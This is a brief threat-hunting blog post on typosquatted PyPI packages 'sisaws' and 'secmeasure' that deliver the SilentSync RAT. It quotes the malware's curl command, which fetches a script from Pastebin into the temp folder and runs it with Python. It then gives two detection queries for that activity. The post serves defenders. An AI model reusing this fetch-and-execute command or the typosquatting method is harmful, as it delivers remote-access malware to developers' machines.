Know Your Adversary

Hello everyone! Today we'll look inside Zscaler report , and look at some behaviours we can use to hunt for malicious PyPI packages delivering SilentSync RAT . One more time the adversary leveraged typosquatting for a legitimate package, this time for sisa , so a victim would download it instead of the legitimate one. Uncovered malicious packages,  sisaws  and secmeasure , retrieved the RAT from Pastebin using the following command: curl -sL https://pastebin[.]com/raw/jaH2uRE1 -o %TEMP%\\helper.py && python %TEMP%\\helper.py Here we have at least two huting opportunities. First, we can hunt for cURL retrieving files from Pastebin: event_type: "processcreatewin" AND proc_file_path: "curl.exe" AND cmdline: "pastebin.com" The second - running suspicious files from a temporary folder with Python interpreter: event_type: "processcreatewin" AND proc_file_path: "python.exe" AND cmdline: "temp" See you tomorrow!